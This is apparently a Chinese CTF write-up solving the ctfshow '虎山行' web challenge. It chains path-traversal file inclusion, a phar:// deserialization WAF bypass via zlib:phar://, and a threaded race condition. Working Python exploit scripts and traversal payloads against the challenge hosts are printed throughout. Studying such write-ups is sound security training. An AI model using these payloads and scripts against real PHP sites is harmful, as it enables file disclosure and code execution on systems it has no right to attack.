代码审计在mc-admin/page-edit.php中存在任意文件包含漏洞

盲猜file=../../../../../../../flag去读flag得到提示地址

访问ctfshowsecretfilehh得到源码如下

<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{public $ctfer = 'shower';public function __destruct(){system('cp /hint* /var/www/html/hint.txt');}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>

我们可以先利用page-edit.php去读下waf.php
file=../../../../../../var/www/html/ctfshowsecretfilehh/waf.php

<?php
function waf($file){if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){die("姿势太简单啦,来一点骚的?!");}else{return $file;}
}

在此之前的管理员界面存在一个upload.php,并且给的源码没有这个文件,猜测为可以构造的。应该是利用phar进行反序列化来生成hint.txt

上传phar,得到生成的文件名

import requests
import time
import hashlib
def geturl(s):a=hashlib.md5(str(int(s)).encode()).hexdigest()return "http://3fe3a94f-f32f-4679-8977-6bff13072fec.chall.ctf.show/upload/"+a[:8]+'.jpg'
#coding:utf-8
while True:url="http://3fe3a94f-f32f-4679-8977-6bff13072fec.chall.ctf.show/upload.php"files={'file':('aaa.jpg',open('aaa.jpg','rb'),'image/jpeg')}r=requests.post(url,files=files)#print(r.text)a=time.time()r2=requests.get(geturl(a))r3=requests.get(geturl(a-1))#存在延时多试几个时间if("我的网站" not in  r2.text or "我的网站" not in  r3.text):print(geturl(a))print(geturl(a-1))breakelse:time.sleep(0.3)

触发phar可以使用

compress.zlib://phar://
compress.bzip2://phar://
php://filter/resource=phar://
zlib:phar://
phar://

根据waf.php的过滤可知zlib:phar://可以使用。

ctfshowsecretfilehh/?file=zlib:phar:///var/www/html/upload/生成的文件名
hint.txt内容

flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory

访问ctfshowgetflaghhhh得到如下源码

<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {public $username='Firebasky';public $password;function __destruct() {if($this->username=='ctfshow'&&$this->password==(int)md5(time())){system('cp /ctfshow* /var/www/html/flag.txt');}}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

也就是说反序列化成功后会生成flag.txt,接着又会删除掉,所以可以写一个多线程去读取flag.txt。
因为md5后的时间戳有字母所以(int)md5(time())为0
反序列化+多线程得到flag.txt

import io
import requests
import threading
def write():while True:url="http://d50e161f-1226-4322-9f10-d7d0b043ecb5.chall.ctf.show/ctfshowgetflaghhhh"resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():while True:r=requests.get('http://d50e161f-1226-4322-9f10-d7d0b043ecb5.chall.ctf.show/flag.txt')if("我的网站" not in r.text):print(r.text)print('aaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaa')event.clear()else:print("[+++++++++++++]retry")
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,30): threading.Thread(target=write,args=()).start()for i in range(1,30):threading.Thread(target=read,args=()).start()event.set()

虎山行revenge 除了文件名其他一样

ctfshow虎山行+虎山行revenge相关推荐

  1. 强者不能恒强,偏向虎山行

    刚起步的小企业,遇着市场领导者往往会绕着走.强者有强者的气势,面对强者的威严,弱者不知不觉之间就会生起畏惧避让之心.惹不起,还躲不起吗,这种自我保护的心态无可厚非. 强者值得尊敬,但是没有必要畏惧.强 ...

  2. 吴甘沙:写在驭势科技六周年丨再向虎山行

    不知不觉中,公司的年册已经翻过六页,一页页记录的都是不甘于平庸.不舍得留白的青骢岁月,数百名驭势者在其上谱写了将相本无种.莫欺少年穷的曲子.这是只有创业者才能读懂.悟透的谱子,每每过来人抚曲吟唱.荡气 ...

  3. 从0糖到0防腐剂,元气森林缘何偏向“虎山行”?

    [潮汐商业评论/原创] "一罐橘子汽水,半罐防腐剂".过去,人们谈防腐剂"色变",如今却习以为常,因为市面上少有0防腐剂的饮料可以选择. 所以,即便知道长期食用 ...

  4. CTFshow sql注入 上篇(web171-220)

    目录 前言 题目 web 171(万能密码) web 172(回显内容过滤,base64或者hex编码绕过) web 173(回显内容过滤,base64或者hex编码绕过) web 174 (布尔盲注 ...

  5. CTFshow 反序列化 web266

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # ...

  6. CTFshow 反序列化 web260

    目录 源码 思路 题解 总结 源码 <?phperror_reporting(0); highlight_file(__FILE__); include('flag.php');if(preg_ ...

  7. CTFshow 反序列化 web259

    目录 源码 思路 题解 总结 源码 <?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']); //vip can get f ...

  8. CTFshow php特性 web150plus

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  9. CTFshow php特性 web150

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

最新文章

  1. BZOJ1202: [HNOI2005]狡猾的商人
  2. PTA团体程序设计天梯赛-L2-013 红色警报
  3. Mysql 数据库重置ID排序
  4. 斯坦福大学CS224d基础1:线性代数回顾 Linear Algebra - review
  5. Ubuntu 安装JDK8
  6. 【传智播客】Javaweb程序设计任务教程 黑马程序员 第二章 课后答案
  7. 用 CSS 实现元素垂直居中
  8. HDU 1063 [Exponentiation]高精度
  9. SICP习题2.6 题目理解
  10. [机器学习入门] 李宏毅机器学习笔记-29 (Sequence Labeling Problem part 1;结构化预测-序列标记 part 1)
  11. 数据仓库:维度分析和指标
  12. Rosalind第88题:Counting Rooted Binary Trees
  13. OpenGL环境的配置(GLUT安装教程)
  14. 如何做一个好的管理者
  15. HTTP状态码---服务器错误
  16. 福彩3d开奖结果接口文档及示例分享
  17. 基于HTML节日主题网页项目的设计与实现——圣诞节日介绍(HTML+CSS)
  18. 关于软考的备考心得体会
  19. 搭建游戏平台有哪些优势?
  20. 管理学院人工智能蹭课一

热门文章

  1. 怎么把一个硬件的驱动程序打包到自己的应用程序的安装程序里
  2. 数据结构与算法 -- 树结构与图结构
  3. Cortex-A72核心板 | RK3399六核
  4. 【品高云技巧】002.通过弹性IP控制网络流量(QoS)
  5. 向量机SVM原理详解
  6. 基于自然地理要素的全球土地宜垦性数据
  7. 阿里技术男的成长史:越想证明自己死得越快……
  8. [8th of series6] Step1: Label Each Block’s Mining Pool
  9. linux 运行程序命令
  10. 基于cocos2dx,在android的游戏中加入google play game排行榜。